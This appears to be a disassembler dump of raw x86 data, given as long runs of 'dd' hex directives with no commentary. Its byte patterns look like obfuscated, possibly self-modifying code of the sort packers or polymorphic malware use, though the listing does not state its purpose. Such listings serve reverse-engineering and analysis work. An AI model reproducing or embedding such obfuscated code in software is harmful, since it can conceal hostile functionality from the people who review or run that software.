		dd 41000000h, 0ED0BC351h, 72A449C6h, 8166E072h,	89A77ACFh
		dd 0C486h, 119D8B00h, 8B05E41Ch, 0E4109595h, 0C283F805h
		dd 20508904h, 219BD89h,	858D05E4h, 5E7B384h, 0C4CBCB81h
		dd 86893C45h, 0B8h, 29098589h, 8D0F05E4h, 6, 2ED9589h
		dd 6A05E4h, 5FB5FFF5h, 8005E79Fh, 95FF90E3h, 5E41045h
		dd 8950FB8Bh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0A124B7C3h, 8E8EBF4h, 0DB000000h
		dd 0B00618B3h, 8980D4ACh, 0E402BD9Dh, 81665F05h, 0FFF9ECCBh
		dd 0E79F5FB5h, 159D8B05h, 0FF05E41Dh, 0E4136595h, 0B19D2905h
		dd 8305E421h, 0E408F9BDh, 840F0005h, 52h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 19h, 6CC35747h, 0CADA6482h
		dd 9BD0386h, 5005E422h,	0BF665253h, 5B5F2EBCh, 6A243489h
		dd 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0CE1EC352h, 0B5FFF88Bh
		db 5Fh,	9Fh
word_584F4E	dw 5E7h			; DATA XREF: ___:00436804o
		dd 5BD31h, 95FF05E4h, 5E429C5h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0DFC35747h,	0B5FFF88Bh, 5E79F5Fh
		dd 0DAE38166h, 7195FF1Ch, 0F05E419h, 781h, 1830F00h, 0FC000000h
		dd 3125BD83h, 0F0205E4h, 5F84h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0AE5A08Bh
		dd 0FCFB8351h, 36507CBFh, 0ED9D8B63h, 8B05E404h, 0E4119185h
		dd 0D9B70F05h, 8BEBF66h, 6A0000C6h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 3193C351h
		dd 0DBBF0F96h, 19E585C7h, 5E4h,	0DB810000h, 7D39CF88h
		dd 0E9DBB70Fh, 0FFFFF375h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0C7C35040h, 83D78166h, 6AC18BBAh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0C5B5C357h, 0BF66B031h, 9D8BB204h, 5E413E9h,	19D5858Dh
		dd 0BE905E4h, 0A9000000h, 57F987A1h, 67AD7AB2h,	0B3508B21h
		dd 24048972h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	5BC35242h, 0F9B70F8Ah, 2D3D8D89h, 6A05E4h, 6820Fh
		dd 9D230000h, 5E4164Dh,	0B2B7006Ah, 6A5C858Dh, 6A05E8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 1DF811C3h, 485BA135h, 0BF66FE73h, 0C083ACF0h, 89BF6605h
		dd 8B6650EFh, 240489F9h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0FFC35343h, 0BAAF13DAh, 11E9B19Fh, 0BB000000h
		dd 1329FB3Eh, 0C587BD24h, 272BDBCBh, 58B449B6h,	23E9BD89h
		dd 6A05E4h, 0F8B3006Ah,	21A195FFh, 6A05E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0BB0531C3h
		dd 8DF895C1h, 0E79E7F8Dh, 6AD1FF05h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7148C351h
		dd 0BD83FB05h, 5E42995h, 8E850F01h, 0F8000000h,	11E9026Ah
		dd 99000000h, 91106F11h, 5E6EB632h, 52BD513Ch, 5D50FAFEh
		dd 2C8D8D01h, 529005E4h, 310F5250h, 1D79BF66h, 505B585Ah
		dd 61605760h, 0DF8B6658h, 6A9061h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 31210DC3h, 26F6E554h
		dd 11E94DC2h, 0E6000000h, 1BF32575h, 4B2013E5h,	5A09BF67h
		dd 483B1DCEh, 104595FFh, 12E905E4h, 0E9000000h,	8FEF0D7h
		dd 0B0387165h, 4D7B182Eh, 0DEB83DF9h, 0C7DE914h, 0E80000h
		dd 5D000000h, 6A66ED81h, 958905E8h, 5E402F1h, 8DD88B66h
		dd 0E7816885h, 0BE905h,	562E0000h, 0D9F26C1Fh, 41D02500h
		dd 66605093h, 6159B4B9h, 6A240489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 932AC352h
		dd 548F814Dh, 0F507CABh, 286h, 5B93B700h, 35FF64h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 4919C352h, 58374305h, 0F0C78195h,	6473F191h
		dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 2CD5C8C3h, 8ABB23BBh, 2D85FF75h
		dd 0E805E414h, 5, 0E1DECF1Ch, 0FABF0F97h, 6AFF6A5Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0CD81C352h, 0AE9h, 6AC7FD00h, 0B807C8C6h, 0FF446DA8h
		dd 0E422FDB5h, 0FFD4B705h, 0E42DAD95h, 0D0E905h, 81660000h
		dd 18246CFh, 0E401D1BDh, 8900B005h, 0E41F71B5h,	0B370E605h
		dd 0BB71E4CDh, 5EBA2767h, 830F613Ch, 0AAh, 0C8B60FF9h
		dd 28DDBD2Bh, 6BA05E4h,	8B000000h, 0FEB70FC1h, 6004E8C1h
		dd 1870Fh, 8BF80000h, 0E41D519Dh, 0F7666105h, 8BC82BE2h
		dd 0E429099Dh, 0C5852905h, 8B05E41Eh, 159D0BD1h, 0E905E41Eh
		dd 3, 8B86EB80h, 0E423C985h, 599D8B05h,	8305E41Ah, 0DE8B07C0h
		dd 0BB00C083h, 6A56C505h, 0FD03BF5h, 0A83h, 0F8BF0F00h
		dd 39E9h, 8BFB8B00h, 0E410E18Dh, 0AFCF8105h, 8334CF62h
		dd 840F01E1h, 22h, 1A758D01h, 0A58305E4h, 5E410E1h, 0BFBB66FEh
		dd 0C99589C3h, 8905E423h, 0E41A59B5h, 0E905h, 0B58D0000h
		dd 5E7E5FDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	6CC35747h, 2E09BB0Dh, 575F5FD7h, 29A19D8Bh, 6A05E4h
		dd 29ED9D8Bh, 95FF05E4h, 5E410C1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0EEC35747h,	0AED6EEA0h, 885B9F5h
		dd 0BD090000h, 5E41D35h, 89FCE183h, 0E4084DBDh,	6880F05h
		dd 89000000h, 0E417319Dh, 6AFC05h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0DA462DC3h, 0D0608184h
		dd 0BFF88672h, 1EAA0A30h, 0B8h,	742ABB00h, 0D22B64C5h
		dd 1B5DB589h, 33AD05E4h, 3E8D1C2h, 4E983D0h, 0FE8AF475h
		dd 880Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0AFBBD67Ah, 8B78C1E7h, 0E4109595h
		dd 8D8BF905h, 5E42C65h,	6820Fh,	0BD8B0000h, 5E42421h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 4B2BC3h, 0F51A2A7h
		dd 82h,	0F98BF800h, 2135BD83h, 0F0005E4h, 8784h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 9D8B5126h, 5E426D5h,	0B85Bh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0DF90F4C3h
		dd 0C6EF8166h, 61850923h, 8D05E421h, 0E44C308Dh, 0FE8B6605h
		dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 6AD111C3h, 0CB507820h, 66702604h,	0AD77D381h
		dd 30FDBD83h, 0F0005E4h, 43B84h, 659D0300h, 8305E401h
		dd 0E430FDBDh, 840F0105h, 443h,	83FA8B66h, 0E430FDBDh
		dd 860F0305h, 3FDh, 0A7E8EF81h,	0BF60402Eh, 7177E8EAh
		dd 6AD98C66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0C189C357h, 0D93419DBh, 0AE8E2h
		dd 0B9490000h, 0BB99E6D8h, 0E90CB925h, 5BFE8B66h, 8904E180h
		dd 0E4219995h, 0FC90A05h, 0F984h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BD896C27h
		dd 5E42621h, 2C9D858Bh,	6A05E4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 9C3D35C3h, 378E8D5h
		dd 0E425219Dh, 99853305h, 6A05E420h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 2E29C352h
		dd 507F2AB7h, 8B240489h, 0E42C519Dh, 0C7816605h, 6A4450h
		dd 14BDBD89h, 676805E4h, 0F110340h, 48Fh, 61605600h, 2434815Fh
		dd 111C4398h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Bh,	0B5C35646h, 7ED3B57Dh, 8BE1C0BBh, 0E42A199Dh, 5995FF05h
		dd 8905E401h, 0E42B7DBDh, 0F3816605h, 8589B8E0h, 5E79F5Fh
		dd 6840Fh
		dd 9D8B0000h, 5E4153Dh,	204E9h,	0A555BF00h, 858B14AFh
		dd 5E79F57h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0EDC35040h, 209B4A9Fh, 795B2043h, 1800C7h, 8BF90000h
		dd 0E79F5BB5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0CA4AECCDh, 0E6CFB416h
		dd 7E8h, 5499C900h, 7762DDCDh, 1C89BD23h, 815F05E4h, 0C80BC4CBh
		dd 21858B08h, 6A05E42Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0E4CCC355h,	0FE9442Eh
		dd 0E8000000h, 16164C77h, 6D8AD068h, 25C5615Eh,	0CF8144C3h
		dd 27967BBh, 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 496BC6C3h, 0D7ED8257h, 0F8B11814h
		dd 9D858BF8h, 2305E42Ch, 0E42C39BDh, 4468905h, 11E9h, 4DB4600h
		dd 0C648F8B6h, 0A8F5D83Eh, 0DD0458A0h, 0E950AE93h, 13h
		dd 646DC87Ch, 7E926CBFh, 1B94D664h, 8F0C9754h, 89227F29h
		dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0CA07AAC3h, 25E2E2A1h, 9F57B5FFh,	4E805E7h
		dd 0FF000000h, 50001F03h, 355FBB66h, 424448Bh, 8E9h, 0D0273500h
		dd 0CBB91A53h, 60008B9Fh, 0E58AF08Bh, 24448961h, 87BB6604h
		dd 9D895815h, 5E4317Dh,	9F5F858Dh, 0B52905E7h, 5E41FB9h
		dd 53525090h, 0F310F5Bh, 58Eh, 5ABCBF00h, 585A46E6h, 0A670BB50h
		dd 6A903C18h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 471EC356h, 15850F87h, 0E9000000h
		dd 10h,	0F948318Dh, 0A14FA3A2h,	63C3EA2Dh, 0C22879A1h
		dd 15995FFh, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0B70C50C3h, 0E95361A3h, 12h, 96123D9Bh
		dd 304D9092h, 789B02BBh, 0AE150C05h, 0C75F161Ah, 0E430FD85h
		dd 305h, 0B9666000h, 8D89A3D4h,	5E41A39h, 5FBD8361h, 5E79Fh
		dd 73840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 417002C3h, 753B4833h, 6E8h, 4B164B00h
		dd 600DFACDh, 4A9BD8Bh,	5B6105E4h, 0CE9h, 66CF3400h, 0B9244F60h
		dd 7D517CEDh, 42E939h, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 7A1668C3h, 41E12049h
		dd 45ADC5BBh, 0C30500Ch, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 9EC35646h, 97818584h,	0EA3414B3h, 10E904h
		dd 0D5C10000h, 0B4DF687Bh, 0CC155A86h, 7199CCFEh, 83FCE404h
		dd 0E430FDBDh, 850F0305h, 3C0h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 40C35343h, 8E94Fh, 69A10000h
		dd 0DB5EC7A1h, 0BD8376FCh, 5E79F5Fh, 89840F00h,	0E9000003h
		dd 0Ch,	8F561EE1h, 0EF0D78D3h, 0DC014AADh, 9F5FB5FFh, 0CE905E7h
		dd 58000000h, 5ACE4165h, 7207624Dh, 0FFA36923h,	0E41C1595h
		dd 91858905h, 8B05E42Ch, 0E79F53B5h, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0DDDFC758h
		dd 9AC5744Ch, 6C7C42Ah,	10001h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0B7C35141h,	785AEBE3h, 3DBD89AAh
		dd 8B05E415h, 0E41D759Dh, 9E95005h, 0F7000000h,	0C3134EB9h
		dd 513389Ah, 6A243489h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 1251C356h, 9F5FB5FFh
		dd 9D0105E7h, 5E41FDDh,	172D95FFh, 6A05E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 9CC50EC3h
		dd 31F59509h, 0B58B05E4h, 5E79F53h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 37C35545h, 1D858BDAh, 6A05E41Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0DD36C352h, 5278B2DDh, 0D9BF0FABh, 4850Fh
		dd 0BB660000h, 86895387h, 0C4h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0E6C35646h,	0EB80364Dh, 958B25C1h
		dd 5E41095h, 58B0Fh, 80510000h,	835B43C3h, 12E904C2h, 0CE000000h
		dd 64FD2DEh, 105587CDh,	0E3781947h, 59BB3D3Ah, 205089ADh
		dd 8E8h, 239AB400h, 0D17684D1h,	5BFE8B01h, 84858DF9h, 0E905E7B3h
		dd 11h,	0AF3B2ADBh, 885A1B72h, 9E8979F0h, 3CAA5D1Ch, 0B886897Dh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 72F4C352h, 13E822h, 754B0000h
		dd 782518E8h, 4B041E1Fh, 83D0372Bh, 94B31768h, 5F49B306h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0F5345C3h, 0FF5BF9B7h, 0E79F5FB5h, 11E905h
		dd 0CD650000h, 0FCBC9E4h, 2290E1C1h, 0B2DFB645h, 0FF702072h
		dd 0E4104595h, 0D9D8B05h, 9605E426h, 96F88A50h,	0DD33BB66h
		dd 9F5FB5FFh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0FFF877C3h, 0E4136595h, 3CCF8105h
		dd 83655598h, 0E408F9BDh, 840F0005h, 67h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 15h, 73C35747h, 830F5287h
		dd 6, 860Fh, 965B0000h,	796E32BFh, 52505021h, 8E8h, 3693A500h
		dd 18559FBEh, 850F08h, 5F000000h, 5050310Fh, 585A5B5Bh
		dd 11E996h, 0EEE50000h,	0F468AA81h, 0E200A0C0h,	0FD5D818Bh
		dd 0FF2367FFh, 0E79F5FB5h, 0C595FF05h, 8B05E429h, 0E418159Dh
		dd 5FB5FF05h, 8B05E79Fh, 0E410A1BDh, 7195FF05h,	8905E419h
		dd 0E428DDBDh, 25BD8305h, 205E431h, 1B840Fh, 0B5890000h
		dd 5E425C5h, 1191858Bh,	8D8905E4h, 5E41FB9h, 310000C6h
		dd 0E42D0DB5h, 0E585C705h, 5E419h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0F2DC353h, 389h, 0DFBF0F00h,	0FFF488E9h, 0C18BF9FFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 61C35545h
		dd 6AEFB476h, 0BE951BEh, 8B000000h, 1255F9F5h, 7597C3BEh
		dd 8D5BAD9Ch, 0E419D585h, 698D2905h, 9005E400h,	14E8h
		dd 76A06600h, 0D58080E5h, 0CCAB84B4h, 0F3FE7DB4h, 0B9A1232Ah
		dd 0AE8C0h, 0E030000h, 0D39B7B9Eh, 1613B3C4h, 5F5B5B56h
		dd 0BD899050h, 5E41991h, 1DE9BD8Bh, 6A05E4h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 2DC35343h, 839FFCD2h
		dd 68A0F29h, 8B000000h,	0E42719BDh, 0DE805h, 0C1740000h
		dd 0FA300698h, 38CA8C92h, 8BE8DDA3h, 0E40FD5BDh, 6A5B05h
		dd 27C99D29h, 0B58905E4h, 5E41125h, 793B858Dh, 6A05E8h
		dd 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BF66CFC3h, 0C083CE88h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 311AE398h
		dd 0E403D585h, 800F5005h, 6, 8C0Fh, 4890000h, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0BBACBEC5h, 7D93FBF9h, 0C959D8Bh, 6A05E4h, 3E3ABB52h
		dd 6A5B2C2Bh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 2196A35Bh, 0A195FFA4h, 6A05E421h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 6EE6C353h, 0BC00FA4Eh, 979DFBC2h,	0AD78166h
		dd 7F8D8DEAh, 6605E79Eh, 0D1FFD88Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 48C35747h, 126DF6DAh, 5ADC73E6h
		dd 48D3EB81h, 0BD8305DFh, 5E42995h, 9D850F01h, 3000000h
		dd 0E42069BDh, 8E905h, 0FFD00000h, 90B5A850h, 26AE8D6h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 24C35141h
		dd 0AEB67220h, 0F2C95D75h, 0CB8140B7h, 2A384FC8h, 4CBB6650h
		dd 24048914h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	55C35747h, 57D3FCE6h, 0B341F79Ch, 4595FF20h, 6A05E410h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0CB21C356h, 849D9627h, 9D8B0B32h,	5E4147Dh
		dd 0D97E9h, 0E800h, 815D0000h, 0E87945EDh, 0EE905h, 2A6B0000h
		dd 0A4AF5D6Bh, 61DDF248h, 767AB50Ah, 8219D09h, 858D05E4h
		dd 5E78168h, 2149BD89h,	665205E4h, 3699E781h, 5B53505Fh
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 2865C353h, 0AB744A3Eh,	64F88B66h
		dd 35FFh, 18BF0000h, 6472E542h,	2589h, 0FFF90000h, 0E4142D85h
		dd 0D68B6005h, 3AD8D2Bh, 6A6105E4h, 50006AFFh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E889BFE7h
		dd 7, 1298BDE7h, 0E93F4923h, 0Ch, 235D97DBh, 0B61EC182h
		dd 22966262h, 1DB5FF5Bh, 6A05E402h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0B3ACC353h
		dd 928BA51Bh, 8501A1B3h, 5E40D95h, 2DAD95FFh, 18E905E4h
		dd 0F000001h, 8166D9BFh, 0B064DEDBh, 0BB70E600h, 78EA680Ch
		dd 20EDBD8Bh, 71E405E4h, 2DB19529h, 890F05E4h, 6, 1A45B589h
		dd 613C05E4h, 0E5830Fh,	810F0000h, 6, 2775BD8Bh, 0B60F05E4h
		dd 41BD33C8h, 0BA05E426h, 6, 0C18B71B7h, 0C1F9B70Fh, 0BE904E8h
		dd 90000000h, 84E4B291h, 0EEB6B2DBh, 0F766B40Ch, 0EB8166E2h
		dd 0C82BA6F2h, 8BDBB70Fh, 0B8D0FD1h, 0E9000000h, 6, 37165F58h
		dd 6E9C055h, 9000000h, 0E412198Dh, 1D858B05h, 6605E41Ah
		dd 832F8DBBh, 8A0F07C0h, 6, 0E5B589h, 8B0F05E4h, 0Ch, 68B0Fh
		dd 9D0B0000h, 5E4146Dh,	0E900C083h, 0Ah, 0D135CD9Ch, 7B0625C6h
		dd 0D03B5963h, 9830Fh, 0B70F0000h, 39E9D8h, 8BF80000h
		dd 0E414D18Dh, 83D98B05h, 840F01E1h, 27h, 1A198589h, 0A58305E4h
		dd 5E414D1h, 75B501FEh,	8905E426h, 0E41A1D95h, 0B70F6005h
		dd 0B3BA66FFh, 0E96143h, 8D000000h, 0E7F008B5h,	6DE38105h
		dd 0F1E082Ah, 6AD8BFh, 6E9h, 0F1890200h, 0FFAE9646h, 0E410C195h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 838B99Ch, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0F343E1C3h, 0BAAE7559h
		dd 13E98108h, 0C0000000h, 507282FAh, 7FC1C585h,	0FD977B4Ah
		dd 439874E1h, 12E97618h, 56000000h, 0CEFFCE8Ch,	0AF23B868h
		dd 0F42D930Ah, 0D10209F7h, 0FCE183F5h, 32619D03h, 66FC05E4h
		dd 0C02BF88Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0CFC35343h, 24544A9Eh, 92B8816Ch, 0C0DCBF66h, 0BAh
		dd 0A59D8B00h, 0AD05E427h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 2362C351h, 0AC1E37D9h, 0AAFF8A4Ah, 31CD9D23h
		dd 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 880D12C3h, 1000000h, 0E403ADBDh, 95958B05h
		dd 6A05E410h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 17DAC351h, 0E900EDF5h,	0CD4F7FACh
		dd 21199D8Bh, 8D8B05E4h, 5E42C65h, 2858529h, 810F05E4h
		dd 3, 50DA8B66h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
		dd 399D8958h, 0E905E407h, 7, 0E5690D7Ah, 83657289h, 0E42135BDh
		dd 840F0005h, 3Bh, 0EE9h, 51F96900h, 0F707DDD0h, 42DBB4C2h
		dd 0B838C5E2h, 0
		dd 2BA9BD8Bh, 8D8D05E4h, 5E44C30h, 0AE9h, 584D4800h, 2925AB6Bh
		dd 0FF775915h, 799589E1h, 8305E403h, 0E430FDBDh, 840F0005h
		dd 4DDh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 15h,	69C35343h, 9E867h, 0FF2D0000h, 0BEEA36D7h, 8B9AE16Bh
		dd 0E41775BDh, 8D895B05h, 5E40CA9h, 30FDBD83h, 0F0105E4h
		dd 4B384h, 5860F00h, 0BF000000h, 5480D3FDh, 8394DF80h
		dd 0E430FDBDh, 860F0305h, 462h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0C35747h, 31602897h, 0FBB70F45h
		dd 6057F380h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	0A0C35242h, 0E98665F7h,	1F0F09BAh, 0E0E7806Fh
		dd 0FD98C66h, 83h, 4E18000h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 9DC35242h, 0C90A0A1Ch, 13C840Fh
		dd 0C3810000h, 2CAFD234h, 2C9D858Bh, 805305E4h,	335F9EEFh
		dd 0E4209985h, 0C59D2905h, 5005E407h, 89F88B66h, 0BD292404h
		dd 5E42CA9h, 9589006Ah,	5E4280Dh, 4E8h,	1F03FF00h, 0DF8B6600h
		dd 0AE850h, 0D0090000h,	8C6D2025h, 5D09780Fh, 61605250h
		dd 5B53310Fh, 8B5B585Ah, 60042444h, 0AE85250h, 0
		dd 0D0431011h, 31B26CDFh, 310F5F07h, 0BE2BBE66h, 0EE9585Ah
		dd 23000000h, 9D0A59FEh, 0E23AA650h, 4035928Dh,	8B6149h
		dd 61605260h, 4489615Ah, 0FE8B0424h, 56006A58h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FF481EBBh
		dd 0E4015995h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 1DBEC4B0h, 7632512Bh
		dd 5F858947h, 6005E79Fh, 0AE9h,	0B167FD00h, 75D18293h
		dd 8B020FB6h, 0E4015D8Dh, 8E86105h, 11000000h, 3D8EC241h
		dd 89CA99A7h, 0E403FD8Dh, 44E95F05h, 6A000002h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0BDBFC355h, 0C35A7C60h, 858BE613h, 5E79F57h,	0D661F781h
		dd 0C769CAh, 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	6BC35040h, 0D3C5DF3Fh, 7E8h, 79589B00h,	0C2698E1h
		dd 5BFA8B66h, 21499D89h, 0B58B05E4h, 5E79F5Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 72C35040h, 0B59BC557h
		dd 13E821h, 4AC00000h, 3FC0F946h, 0EA890D1Ah, 3F8A8A07h
		dd 705A73E4h, 9D296009h, 5E40275h, 0BD895B61h, 5E413DDh
		dd 2A21858Bh, 890F05E4h, 6, 1D2D8509h, 870F05E4h, 11h
		dd 0CE9h, 5F6C5A00h, 0EE552D1Ah, 3FA7F371h, 6A06893Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 891BC351h, 38BA3E98h, 0B530C7B3h,	2C9D858Bh
		dd 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 4036C3h, 89D84942h, 6A0446h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0ADBF2BC3h
		dd 36CAEA5Ah, 3F91B27h,	0E41F09BDh, 50575005h, 12E952h
		dd 7F970000h, 0B3EFB340h, 0C068266Ch, 3B0C8314h, 0C12A1939h
		dd 8F0F310Fh, 0
		dd 895B585Ah, 2B512434h, 0E430F1BDh, 9D8B5F05h,	5E41B6Dh
		dd 9F57B5FFh, 880F05E7h, 5, 9A3212BFh, 48AA6879h, 840F4B78h
		dd 5, 0C13A58BFh, 2434813Ch, 4B674B55h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 32C35141h, 0E7A33AA1h
		dd 227D9D8Bh, 13E905E4h, 55000000h, 915EDD91h, 1B01C310h
		dd 59041403h, 68393860h, 858D8A7Dh, 5E79F5Fh, 2699BD8Bh
		dd 665005E4h, 89C393BBh, 0BD292404h, 5E422E5h, 95FF37B7h
		dd 5E40159h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0D4C35343h, 70BB4E91h, 56F810A0h, 615BDFB3h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F3C35343h, 8B77A139h
		dd 0C850FFBh, 0F000000h, 686h, 19D8B00h, 0C705E41Fh, 0E430FD85h
		dd 305h, 0EFBF6600h, 5FBD83FFh,	5E79Fh,	34840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0C2F396C3h, 46F4B658h, 5D858973h, 0E905E41Ch, 21h, 761BD89h
		dd 305005E4h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
